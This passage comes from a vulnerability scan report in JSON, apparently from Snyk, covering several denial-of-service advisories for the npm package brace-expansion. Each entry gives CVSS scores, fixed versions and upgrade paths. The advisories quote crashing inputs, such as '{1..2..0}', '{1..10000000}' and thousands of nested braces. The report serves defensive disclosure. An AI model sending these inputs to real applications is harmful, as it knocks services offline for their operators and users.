`max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 